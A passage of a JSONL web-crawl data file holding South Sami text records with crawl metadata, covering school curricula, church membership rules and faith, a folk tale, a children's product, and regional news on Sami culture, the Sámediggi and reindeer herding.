nuhtjedh: akte pryövije vuekie, gusnie leavloe bïejesåvva hijven gïeleldh hammoedæmman. Akte dagkeres tjaeleme-vuekie aaj maahta jeatjah aamhteseprovsa-teekstine åtnasovvedh, ij ajve gosse essayh tjaelieh.\nBaakoeh\nSaemien\nDaaroen\nhedtie-væhtah\nlikhetstrekk\ngïele-åtnoe\nspråkbruk\npryövije tjaeleme\nutprøvende skriving, prøve skriving\nåssjele\nformål\ndotkeme-illedahkh\nforskningsresultater\neatneme-daejreme\nnaturvitenskap\nArtihkeleKjernestoff\nFaage-tjaalegeKjernestoff\nVïjhteboelhke-vuekien bïjreKjernestoff\n- Kjernestoff\nGuktie lohkije-tjaalegem tjaeledhKjernestoff\nGærja-ållermaehtemhKjernestoff\nFilme-ållermaehtemeKjernestoff\nGaajh tjarke histovrijetæjmoe GaupesteKjernestoff\nKååserije jïh petiteKjernestoff\nKååserijeKjernestoff\nKronihkeKjernestoff\nFilme OfelašKjernestoff\nGuktie tjaalegem jïh filmem viertiestidhKjernestoff\nKronihke: Vaajmoe-gïeleKjernestoff\nLaavenjassh: ArtihkeleKjernestoff\nLaavenjassh: Faage-tjaaleghKjernestoff\nLaavenjassh essayi bïjreKjernestoff\nLaavenjassh filme-ållermaehtiemasseKjernestoff\nBaajh guvviem jieledh!Kjernestoff\nTjaelieh ållermaehtememKjernestoff\nLaavenjassh: Mijjen jïjnjh gåetiehKjernestoff\nLaavenjassh akten kååserijeseKjernestoff\nLaavenjassh teemese kååserijeKjernestoff\nLaavenjassh: Kronihki bïjreKjernestoff\nLaavenjassh kronihkeseKjernestoff\nMaam kronihken bïjre måjhtah?Kjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh filmese OfelašKjernestoff\nViertesth tjaalegem jïh filmemKjernestoff","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181819\/topic:1:182389\/resource:1:178603","date":"2020-09-22T17:41:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400206329.28\/warc\/CC-MAIN-20200922161302-20200922191302-00607.warc.gz","language":"sma","language_score":0.9999642372,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999642372131348}","num_words":570,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Ulmie\n- Faagen åejvieboelhkh\n- Man gellie tæjmoeh\n- Faagen maadth maahtoeh\n-\nMaahtaldahkeulmieh\n- Maahtoeulmie 2. jaepiedaltesen mænngan\n- Maahtoeulmie 4.jaepiedaltesen mænngan\n- Maahtoeulmie 7. jaepiedaltesen mænngan\n- Maahtoeulmie 10.jaepiedaltesen mænngan\n- Maahtoeulmie Jåa1 mænngan- studijeryöjreden ööhpehtimmieprogrammh\n- Maahtoeulmie Jåa1 mænngan – barkoefaageles ööhpehtimmieprogrammh\n- Maahtoeulmie Jåa3 mænngan- lissiebigkeme sïejhme studijemaahtose\n- Faagem vierhtiedidh\nMaahtoeulmie 10.jaepiedaltesen mænngan\nDotkijassaMål for opplæringen er at eleven skal kunne\n- hypoteesh buerkiestidh mejtie gåarede teestadidh, soejkesjidh jïh tjirrehtidh goerehtimmieh dejstie, jïh vïhtesjimmieh jïh illedahkh aktene reektehtsisnie digkiedidh\n- ribledh jïh gïetedidh eatnemefaageles daatah, aerviedimmieh darjodh jïh illedahkh grafihkeleslaakan vuesiehtidh\n- tjaalegh tjaeledh mah buerkiestieh jïh argumenteradieh jïh sjyöhtehke gaaltijidie vuesiehtieh, kvaliteetem vuarjasjidh jïjtse tjaaleginie jïh mubpiej jïh tjaalegidie staeriedidh\n- buerkiestidh man åvteste vihkeles ektiedimmieh gïehtjedidh fåantoen jïh illedahken gaskem, jïh buerkiestidh man åvteste vihkeles argumenteradidh, ovsïemes årrodh jïh bæjhkoehtidh eatnemedaejriemisnie\n- eatnemefaageles argumenth, faktah jïh jiehtegh damtijidh tjaaleginie jïh grafihkine plaerijste, brosjyrijste jïh jeatjah meedijijstie, jïh sisvegem laejhtehkslaakan vuarjasjidh\n- jearsoesvoeteråajvarimmieh fulkesidh mah leah buerkiestamme HMS-ruvtijnine jïh vaahra-vuarjasjimmine\nAlmetje eatnamisnieMål for opplæringen er at eleven skal kunne\n- gosse eadtjohkelaakan meatan, vuesiehtidh jïh buerkiestidh guktie edtja bïerkenidh eatnamisnie\n- vïhtesjidh jïh vuesiehtimmieh vedtedh guktie darjomh almetjijstie leah aktem eatnemedajvem tsevtseme, goerehtidh guktie ovmessie iedtielahtjh tsevtsemasse vuejnieh, jïh råajvarimmieh raeriestidh mah maehtieh eatnemem vaarjelidh båetijen aejkien boelvide\n- saemien teermh nåhtadidh juktie vïhtesjimmieh buerkiestidh lopmen jïh daelhkien bïjre, jïh soptsestidh man åvteste daajroe lopmen jïh daelhkien bïjre lea joekoen vihkeles juktie eensilaakan fealadidh jïh aerpievuekien jielemedarjoemisnie\nGellievoete eatnamisnieMål for opplæringen er at eleven skal kunne\n- åejvievæhtide evolusjovneteorijesne buerkiestidh jïh vïhtesjimmieh tjïelkestidh mah teorijem dåarjoehtieh\n- buerkiestidh guktie kreeke- jïh sjædtoecellah leah bæjjese bigkeme, jïh åejvievæhtide buerkiestidh fotosyntesesne jïh celle-voejngehtimmesne\n- cellajuekemem, genetiske jeereldihkiem jïh aerpiem buerkiestidh\n- åejvievæhtide teorijine buerkiestidh guktie eatneme jorkese jïh lea jorkesamme tïjje doekoe, jïh våaromem daejtie teorijide buerkiestidh\n- goerehtidh jïh vïhtesjadtedh biotiske jïh abiotiske faktovrh aktene ekosystemesne voengesne, jïh ektiedimmieh faktovri gaskem buerkiestidh\nKråahpe jïh healsoeMål for opplæringen er at eleven skal kunne\n- nervasystemem jïh hormonsystemem buerkiestidh, jïh buerkiestidh guktie dah prosesside kråahpesne stuvrieh\n- åenehkslaakan boernese-evtiedimmiem jïh baersielimmiem buerkiestidh\n- dåeriesmoerh buerkiestidh jïh digkiedidh seksualiteeten, seksuelle vaaksjoehtimmien, kjønnsidentiteeten, raastebïejemen jïh seahkarimmien, seksuelle suetieskïemtjelassi, prevensjovnen jïh aborten bïjre\n- buerkiestidh guktie jïjtse jieledevuekie maahta healsoem tsevtsedh, daan nuelesne seagkanimmie jïh byöpmedimssturremh, bïevnesh viertiestidh ovmessie gaaltijijstie, jïh digkiedidh guktie maahta healsoeskaarah heerredidh\n- vuesiehtimmieh vedtedh saemien jïh jeatjah almetjebådtjese, jïh joekehtsem alternatijve medisijnen jïh skuvlemedisijnene gaskem digkiedidh\nFenomenh jïh aamhthMål for opplæringen er at eleven skal kunne\n- universet jïh ovmessie teorijh buerkiestidh guktie universe lea evtiesovveme\n- buerkiestidh guktie jaepieboelhkh sjidtieh, gusnie jïh man åvteste gaskejïjjebiejjie jïh jemhkeldstïjje\n- aktem aamhtesem goerehtidh goerehtimmeste veartenerommeste, jïh viertiestidh jïh åehpiedehtedh bïevnesh ovmessie gaaltijijstie\n- maadthaamhti jïjtsevoeth buerkiestidh jïh ektiedimmieh åtnosne periodesystemeste\n- jïjtsevoetide muvhtide aamhtide aarkebiejjeste goerehtidh, jïh aelhkie aerviedimmieh darjodh heajjoedimmien bïjre loetemijstie\n- goerehtidh jïh klassifiseradidh raajnes aamhth jïh aamhtepleentegh mestie man varke dah tjaetsesne loetesuvvieh, guktie buelieh jïh suvries jïh basiske ektievoeth\n- soejkesjidh jïh tjirrehtidh voejhkelimmieh påvisningsreaksjovnigujmie, leehpeme aamhtijste aktene pleentegisnie jïh analyjse ammes aamhteste\n- hydrokarbonh, alkoholh, karboksylsyrah jïh karbohydrath goerehtidh, buerkiestidh aamhtide jïh vuesiehtimmieh vedtedh guktie dah dorjesuvvieh jïh gusnie dah åtnasuvvieh\n- buerkiestidh guktie rå-åålja jïh eatnemegaasse leah sjïdteme\n- dïejvesidie straejmie, spenning, resistanse, effekte jïh induksjovne nuhtjedh juktie illedahkh buerkiestidh voejhkelimmeste straejmiegievliejgujmie\n- buerkiestidh guktie mijjieh maehtebe elektriske energijem darjodh orrestimmeles jïh ij-orrestimmeles energijegaaltijijstie, jïh digkiedidh mah byjreseeffekth mah sjidtieh dej ovmessie vuekijste energijem darjodh\n- buerkiestidh dïejvesidie drïekte jïh akselerasjovne, stoeredahkide mööledh aelhkie viehkiedïrregigujmie, jïh vuesiehtimmieh vedtedh guktie faamoe lea ektiedamme akselerasjovnese\n- voejhkelimmieh jïh aelhkie aerviedimmieh darjodh barkojne, energijine jïh effektine\n- buerkiestidh guktie trafihken jearsoesvoetedalhketjh skaarah heerredieh jïh vaeniedieh goerpine jïh ovlæhkojne\n- voejhkelimmieh tjirrehtidh tjoevkine, vuajnojne jïh klaeriejgujmie, jïh illedahkide buerkiestidh\nTeknologije jïh hammoeMål for opplæringen er at eleven skal kunne\n- dorjesh evtiedidh sjïere krïevenassigujmie jïh vuarjasjidh man funksjovnelle dah dorjesh leah, man vietseles dah leah utniejasse jïh man guhkiem dorjesh ryöhkoeh viertiestamme monnehke evtiedimmine\n- jïjtsevoeth materijaline teestadidh jïh buerkiestidh mah dorjemassesne åtnasuvvieh, jïh materijaleåtnoem vuarjasjidh gosse byjresem krööhkeste\n- aktem elektrovneles kommunikasjovnesystemem buerkiestidh, buerkiestidh guktie bïevnesh sirtesuvvieh seedtijistie dåastoejasse, jïh buerkiestidh positijve jïh negatijve konsekvensh\nSide 9 Av 13","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/www.udir.no\/kl06\/NAT2-03\/Hele\/Kompetansemaal\/maahtoeulmie-10.jaepiedaltesen-maenngan?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2020-09-23T23:45:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400212959.12\/warc\/CC-MAIN-20200923211300-20200924001300-00011.warc.gz","language":"sma","language_score":1.0000016689,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000016689300537}","num_words":633,"character_repetition_ratio":0.096,"word_repetition_ratio":0.003,"special_characters_ratio":0.131,"stopwords_ratio":0.166,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gåejmie\nJis sïjhth gåejmie Saemien Åålmegisnie åarjelsaemien dajvesne sjïdtedh, dle tjoevere mijjese åålmegasse govlesadtedh. Datne maahtah dam darjodh daennie goeresne mij daennie svaalhtesisnie gaavnh. Vuelelen maahtah lohkedh mij krïebpsje.\nNjoelkedassh Saemien Åålmegasse åarjelsaemien dajvesne.\n§ 6 Gåejmie jïh gïelereaktoe\nGåejmie Dennie nöörjen gærhkosne aaj gåejmie saemien åålmegisnie åarjelsaemien dajvesne sjædta jis jïjtjemse bievnedh dennie åarjelsaemien gåejmielåhkosne jïh:\na) åtna jïjtje saemie lea jallh pruvreme, guejmie jallh ektiejielije saemine jïh åarjelsaemien dajvesne årroeminie jallh\nb) åtna jïjtje lea saemie lea jallh pruvreme, guejmie jallh ektiejielije saemine jïh åarjelsaemien dajven ålkoebielesne årroeminie jallh\nc) eejhtegh gïeh leah gåejmieh åarjelsaemien åålmegisnie jallh\nd) jeatjah vïedeldihkie åarjelsaemien gærhkoejieliemasse åtna, dejstie lihkebe njoelkedassijste mah åålmegeraerie lea nænnoestamme.\nSaemien Åålmegeraerie (SÅR) lea aamhtesisnie 15\/10 naemhtie nænnoestamme:\n1) Gåejmie Nöörjen Gærhkosne gïeh Sveerjesne årroeminie jïh åtna jïjtje saemie lea jallh pruvreme, guejmie jallh ektiejielije åarjelsaemine, maahta Saemien Åålmeginie gåejmine sjïdtedh åarjelsaemien dajvesne.\n2) Jeatjah gïeh sijhtieh Saemien Åålmegisnie gåejmine sjïdtedh tjoevere goerem mijjese seedtedh gusnie tjåådtje mannasinie sæjhta gåejmine årrodh jïh magkerh vïedteldihkie saemien gærhkojne åtna.\nJis gåejmie sæjhta sjïdtedh jïh jïejkh båetieh dle Nidaros Bispedömmeraerie nænnoste. Gåejmie gie lea gærhkoen veeljemereakta maahta gïelem vedtedh gosse Åålmegeraerie veeljemem åtna jïh mearan åålmegetjåanghkoe jåhta.\nDah gïeh leah gåejmie Åålmegisnie eah leah naan gaertjiedimmie reaktosne jïh dïedtine utnieh gusnie dah gåemieh årroeminie.\nJis datne sïjhth gåejmine ohtsedh dej væhta d) II) mietie, dle maahtah dov goerem mijjese sedtedh.\nSaemien Åålmege - Samisk Menighet\nHeggvollveien 6\n7882 Nordli","id":"","dump":"CC-MAIN-2020-40","url":"http:\/\/www.samiskmenighet.no\/test","date":"2020-09-21T01:51:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400198887.3\/warc\/CC-MAIN-20200921014923-20200921044923-00287.warc.gz","language":"sma","language_score":1.0000016689,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 1.0000016689300537}","num_words":230,"character_repetition_ratio":0.107,"word_repetition_ratio":0.009,"special_characters_ratio":0.147,"stopwords_ratio":0.126,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Soptsese «Faala jïh bovtse» lea Sibireste. Sig-Britt Persson jïh Liv Karin Joma lægan soptsesem jarkoestamme. Soptsese lea gærjeste «Gïeline åahpanidh 3». Daennie soptsesisnie faala jïh bovtse gæmhpoeminie.\nFaala jïh bovtse\nAkte bovtse mearoegaedtie-bealesne gåatoeji. Dellie akte faala mearoste bovtsese gæljoeji.\n- Å hoj, bovtse, edtjien veaksastalledh? Gie lea veaksahkommes, datne jallh manne?\n- Jaavoe, månnoeh pryövoen veaksastalledh, bovtse jeahta.\nBovtse tåajjem kraeseste pruvnieldi jïh faala jis sjædtoeh mearoste provhki. Bovtse tåajjem åelkiej jïh tjeapohken bïjre beaja, jïh faala tåajjem jïjtje siejpien bïjre beaja. Dellie dah guaktah eelkigan giesedh. Faala mearose geasa jïh bovtse bæjjese tjahkese.\nFaala siejpine mearose låaskele juktie sapte tsæjhtsa. Bovtse boelvide vååje bene juvlehte. Tåajje boerhkenasta. Faala mearose vualka – bovtse guhkiem tjahkese girtie.\nIdtji bovtse dan mænngan mearoegaedtie-bealesne gååvnesh.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182073\/topic:1:131964\/topic:1:185445\/resource:1:129024","date":"2020-10-30T11:38:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107910204.90\/warc\/CC-MAIN-20201030093118-20201030123118-00356.warc.gz","language":"sma","language_score":0.9998298287,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"sma_Latn_score\": 0.9998298287391663}","num_words":119,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.126,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Description\nNigka-njåemele dejtie 4-5 jaepien båeries maanide meatan vaalta sov jïjtse veartenen gåajkoe, gusnie maahta vuejnedh, darjodh jïh jïjnjem ovmessie lïeredh.\nNigka maanide meatan vaalta akten veartenen gåajkoe gusnie taallh, hammoeh jïh stoeredahkh, jïh maanide viehkehte gaavnedh mij stuerebe jïh unnebe, seamma jïh joekehts. Dïhte aaj bokstaavide maanide vuesehte, vaajesh soptseste, joejkeste jïh lååvle. Muvhtene lehkesne aaj filmem maanide vuesehte.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/www.e-skuvla.no\/ya\/product\/niga\/?add-to-cart=493","date":"2020-10-24T00:45:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107881551.11\/warc\/CC-MAIN-20201023234043-20201024024043-00136.warc.gz","language":"sma","language_score":1.0000061989,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 1.0000061988830566}","num_words":59,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.136,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"I morgen kveld klokken 18.30-20.00 steller Rørosmuseet i stand et foredrag på Doktortjønna hvor Unni Fjellheim skal være med og snakke om den tradisjonelle samiske luemodellen «snïjpetjohpe».\nSkinn med og uten hår var opprinnelig de hovedsakelige materialene samene brukte til å sy klær og sko. Leggskinn og skalleskinn ble også brukt på mange ulike vis. Disse tradisjonelle materialene fra rein ga også den estetiske og karakteristiske formen som er særpreget for «Snïjpetjohpe».\nUnni Fjellheim er veldig dyktig og kan mye om sørsamisk håndarbeid, reindrift, språk og om forskjellige tradisjoner. Foredraget om «snïjpetjohpe» vil foregå på sørsamisk.\nJirreden tsåahka 18.30-20.00 Doktortjønna'sne Rørosmuseet aktem buerkiestimmiem öörnie gusnie Unni Fjellheim edtja meatan soptsestidh. Dan buerkiestimmien aamhtese lea: Dejpeli snïjpetjohph jïh gumhtie snïjpetjohpe byjreskem dïjpeme.\nJuktie saemieh eeremes dueljeste, gaamesistie jïh gaallojste dovne vaarjoeh gaamegh gåaroejin. Gaamesh jïh gaalloeh jïjtjh maallem tjohpide vedtin. Dan dïehre snïjpetjohpe nemhtie vååjnoe.\nUnni Fjellheim lea akte væjkele nyjsenæjja mij daennie dajvesne årroeminie. Dïhte jïjnjem åarjelsaemien vætnan, båatsoen, gïelem jïh ovmessieh vuekiej bïjre daajrah.\nJirreden buerkiestimmie snïjpetjohpen bïjre edtja åarjelsaemiengïelesne årrodh.\nBåetije våhkoen skïereden dæjstan 17.biejjien tsåahka 19.00 dïhte saemien tjaelije Inga Ravna Eira Röörosen gærjagåatan båata.\nInga Ravna Eira (71) båatsoefuelhkesne Kárášjohkesne byjjeni jïh dïhte lea lohkehtæjjine aarebi barkeme. Mohte dïhte aaj jarkoestæjja, joejkije, kultuvrebarkije jïh aaj lea lyrihke, novellah jïh maanajgærjah tjaaleme. Dïhte aaj ovmessieh heevehtimmide sov barkoen åvteste åådtjeme. Daan jaepien dïhte aaj lea kandidaate Noerthe raerien tjaelije-heevehtimmesne sjidteme.\nDïhte gærja mij nominasjovnem sjidteme lea «Ii dát leat dat eana» («ij daate leah dïhte eatneme»). Eira maahta årrodh dïhte voestes saemie Nils-Aslak Valkeapään mænngan mij maahta dam Noerthe raerien tjaelije-heevhtimmiem åadtjodh.\nSov tjïhtsegærja «Ii dát leat dat eana» aktem gïengeles saemien goerkelimmiem dorje jïh buerkeste guktie Uksáhkká eatnemen bïjre ussjede. Mathis Nango lea dunnie gærjesne guvviedamme.\nJååkt'iehkeden tsåahka 17.30 Saemiedigkie almetjetjåanghkoem Röörosen Hotellesne öörni. Aamhtesh dunnie tjåanghkosne lin guktie Röörose reeremedajvine orreme jïh maam Röörosen tjïelte, almetjh jïh Saemiedigkie daelie edtjieh darjodh. Åvtehke byjjenimmie-, hokse- jïh ööhpehtimmiemoenehtsisnie jïh lïhtsege Saemien parlamentarihkeles raeresne, Márjá-Liissá Partapuoli daate tjåanghkoen bïjre jeehti:\n-Joekoen hijven gåeredi. Gellieh almetjh böötimh jïh mijjieh gellieh åssjalommesh åadtjoejimh mij lea buerie jïh ij daan soe buerie, jïh aaj mij edtja buerebe sjidtedh jïh man bïjre byörebe vielie barkedh.\nPartapuoli aaj ussjede lij aevhkies Saemiedigkese råekedh almetjh daennie dajvesne mejtie buektiehtieh åarjelsaemiengïelem soptsestidh. Dïhte ussjede lea vihkeles Saemiedigkese juktie dellie Saemiedigkie maahta vielie politihkeles åarjelsaemien aamhetsi åvteste barkedh. Juktie lea vihkeles Saemiedigkie maahta gaajhki saemiej åvteste soptsestidh jïh barkedh. Stoerre eatnemelearoen mietie noerthelistie åarjese Saepmesne jïh dannasinie Partapuoli ussjede Saemiedigkie daarpesje vielie maahtoe guktie gïeletsiehkie lea daennie dajvesne.\n-Tjåanghkosne tjïelke sjidti ihke åarjelsaemien gïeleööhpehtimmie tjuara buerebe sjidtedh. Lea aktem stoerre dåeriesmoere gaahkine reeremedajvine Saepmesne ahte lea daerpies vielie peedagogide jïh gïelevierhtide utnedh. Numhtie lea vaenie peedagogh jïh gïelevierhtieh daaroedehtemen gaavhtan. Lea jïjnjh barkoeh aajmene åvtelen båetebe gåabph sïjhtebe båetedh. Gïelereeremedajven åssjaldahkine voestes sïlle lea saemien maanajgiertide tseegkedh.\nPartapuoli gegkeste tjïelte nuhtjie daejtie vierhtide mejtie daennie dajvesne gaavnoes. Dïhte jeahta lea buerie åarjelsaemien maahtoeh daennie tjïeltesne jïh dïhte vuarta Röörosen tjïelte modtele. Juktie tjïelten joekoen ulmie edtja årrodh ietniengïelelearohkidie jïh ietniengïeleutnijidie evtiedidh. Minngemosth Partapuoli sæjhta jiehtedh ahte Röörosen tjïelte byöroe jeatjah reeremedajvijste lïeredh mah dah leah dorjeme.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/rorosnytt.no\/2019\/09\/11\/","date":"2020-10-23T06:24:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107880656.25\/warc\/CC-MAIN-20201023043931-20201023073931-00126.warc.gz","language":"sma","language_score":0.999920845,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999208450317383}","num_words":515,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Prosjekte Árbediehtu (Aerpiedaajroe)Saemiedigkie barkoedåehkiem aerpievuekien daajrose nammoehti 2019. Barkoedåehkien lïhtsegh Åvtehke: Anne-May Olli, RiddoDuottarMuseat Mubpieåvtehke Harrieth Aira, Árran Dåehkien jeatjah lïhtsegh: Kjellaug Isaksen, Noerhtelaanti åålmegejarnge Solveig Joks, Saemien jïlleskuvle Svanhild Andersen, Mearrasiida Ulmie lea aerpiedaajroe daajroesysteemine åtnasåvva jeatjah daajroen baalte. Saemiedigkie lea akte gellijste aktöörijste mah dïedtem utnieh aerpiedaajroen sisnjelen, jih sjïere dïedtem åtna goh saemien byjjesfaamoe. Barkoedåehkiem tseegkedh lea dam aarebi barkoem aerpiedaajrojne jåerhkedh mij vuesiehti daerpies soptsestalleminie institusjovnh gaskemsh mah aerpiedaajroem sijjen barkoesuerkesne utnieh. Barkoedåehkie edtja sov reektehtsem Saemiedigkieraaran deelledh njoktjen 19.b. 2021 åvtelen. Barkoedåehkien mandaate Aerpiedaajroen barkoedåehkie edtja raeriestimmine båetedh akten båetijen aejkien reeremen bïjre aerpiedaajroste. Barkoedåehkie edtja gaskem jeatjah aktem båetijen aejkien öörnemem aerpiedaajroste jih dej ovmessie aktööri råållah jih dïedtem raeriestidh. Barkoedåehkie edtja aaj ovmessie finansijeradimmieöörnegh raeriestidh dan båetijen aejkien reeremasse. Våaroemasse bïejesåvva barkoedåehkie sjyöhtehke aktöörigujmie soptsestalla Aerpiedaajroen sisnjelen. Saemiedigkieraerien reektestimmie goevten 2016 lea akte dejstie våaroemijstie dåehkien barkose. Sametingsrådets redegjørelse om Árbediehtu (PDF, 345 kB)","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/sametinget.no\/jollebe-oohpehtimmie-jih-dotkeme\/prosjekte-arbediehtu-aerpiedaajroe\/","date":"2020-10-30T15:53:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107911027.72\/warc\/CC-MAIN-20201030153002-20201030183002-00413.warc.gz","language":"sma","language_score":0.9999804497,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999804496765137}","num_words":147,"character_repetition_ratio":0.112,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.102,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaahkoe lea jearsoesvoete\nKristeles jaahkoe lea jearsoesvoeten jïh gieriesvoeten Jupmelen bïjre, gie iktesth mijjien jieliemisnie guadta, raereste jïh orrestahta. Jeahtasåvva ij gie gænnah Jupmelem vuajneme. Jesus Kristusen jïh altese jieledebarkoste maehtebe Jupmelem lïeredh damtedh. Mijjieh maehtebe vuejnedh gie lea jïh guktie Jupmele lea. Dan gaavhtan bijpelen soptsesh Jesusen bïjre kristeles jaahkosne vihkielommes.\nRohkelimmie guadta\nRohkelimmie lea baalka jaahkose. Ih daarpesjh jaehkedh jis rohkelh, maahtah rohkelimmine aelkedh. Rohkelimmesne ræhpas vaajmoem åtna jïh aejverem Jupmielasse. Rohkelimmesne maahta Jupmielasse soptsestidh jallh ajve sjeavohth Jupmelinie årrodh. Rohkelimmesne maahta soptsestidh, gihtjedh, viehkien mietie gihtjedh, gijhtedh jïh vihkielommes: Jupmielasse jïjtjemse laehpedh.\nÅejvien bueriesjugnehtse jïh Mijjen Aehtjie åarjelsaemiengïelesne gååvnesieh.\nJaahkoen byjhkesjimmie\nKristeles gærhkoe aajnege Jupmielasse byjhkesje – Aehtjiem, Baerniem jïh Aejlies Voejkenem – mij sjugnede, lutnjeste jïh jielehte.\nSveerjen gærhkoe ektievoete dehtie veartene vijries gærhkoste jïh kristeles byjhkesjimmiem juaka jïh dam aejlies golmesvoetem earohte.\nJaahkoem byjhkesjimmien baakoej jïh dahkoej tjïrrh lahteste, man aerpie dehtie apostoliske aejkeste. Byjhkesjimmie dellie jaahkoem vuesehte, voejhkele jaahkoen maadtoem buerkiestidh, men ij jalhtse jaahkoem.\nGolme båarasåbpoe jaahkoen byjhkesjimmieh sjïere leah goh jaahkoen jïh gærhkoen kontinuiteete daaj tjuetiejaepiej tjïrrh.\nEvangeliske-lutherske gærhkoe\nSveerjen gærhkoe evangeliske-lutherske aerpievuekesne, mij aktene Augsbursken byjhkesjimmine jaepien 1530 raejeste. Reformasjovnen mietie byjhkesjimmietjaalegh vïhtesjin guktie jaahkoen tjïrrh åadtjoejin vaestiedassh dejbeeli gyhtjelasside.","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/www.svenskakyrkan.se\/kristeles-jaahkoe","date":"2020-11-28T14:52:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141195656.78\/warc\/CC-MAIN-20201128125557-20201128155557-00293.warc.gz","language":"sma","language_score":1.0000017881,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 1.0000017881393433}","num_words":196,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.107,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fylhkeålman båatsoegoevtese Åarjel-Trøndelaagesne aalkeme soejkesjidh guktie edtja daam raaste boerovem Nøørjen jih Sveerjen gaskem jåarhkedh. Daate raaste-boerove edtjieh heerrestidh olles bovtse raasten dåaran bïevle- tijjen velkedh. Daan biejjien dihte raaste-boerove orrije åarjelen Hyddsjøen, Tydaelien tjïeltesne.\nDihte raaste-boerove edtja aelkedh noerhtelen Hyddsjøen raasten mietie noerhtese juhtedh daan Skardøran gåajka. Daate raaste-boerove edtja daan vaarjelimmie daajven tjirrh juhtedh ,Skardsfjella- Hyllingsdalen. Daate jåarhke boerove sjædta 10-15 km guhkies.\nGåebrien sijten åvtehke Knut Tørresdal, jahta NRK Trøndelaagese, tuhtjie daerpies daam raaste-boerovem jåarhkedh jih tseekedh.\n– Im daejrieh, mannasinie ij naan boerovem dagkoe aerebistie tseekeme, gosse daam raaste-boerovem sveerjen vuestie tseekin. Vuejnebe daerpies leah. Jijnjh bovtsh sijhtieh raasten dåaran velkiehtidh.\nDaelvie gåatomem Nøørjesne milkedh.\nTørresdal tuhtjie nåakemes gosse gåatomes laantem milkieh.\n– Dah minngemes jaepieh dellie jijnje bovtse Sveerjeste, mijjiene masteme. Dellie gåatomes laante milkieh, jeahta Tørresdal.\nTsïjreme Sïjteh gaskem.\nFylhkeålman båatsoegoevtese stravva, tsijreme maahta dah sïjteh gaskem sjidtedh. Dellie daerpies buektiedibie daam raaste-boerovem tseekedh. Vihkeles aaj tjåanghkanidh jih raarastalledh dah sijteh gaskem Handølsdalen jih Mittådalen sijteh Sveerjesne jih Gåebrien sijte Nøørjesne. Tjoeveribie aaj raarastalledh gogka daate boerove edtja juhtedh. Dah myndighet tjoeverieh laatjkanidh, gie miej edtja dam maeksedh, eannan daam boerovem maehtebe tseekedh. Mijjien ulmie lea, daam raaste-boerovem mubpien geasan tseekeme, tjaala Fylhkeålman båatsoegoevtese.\nDaam bievnesem Fylhkeålman båatsoegoevtese seedteme Nøørjen Laanteburrie-jih beabpmoe Departemeentese.","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/www.nrk.no\/sapmi\/raaste-boerovem-guhkiedidh-1.11864207","date":"2020-11-25T18:58:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141184123.9\/warc\/CC-MAIN-20201125183823-20201125213823-00141.warc.gz","language":"sma","language_score":0.9999992847,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 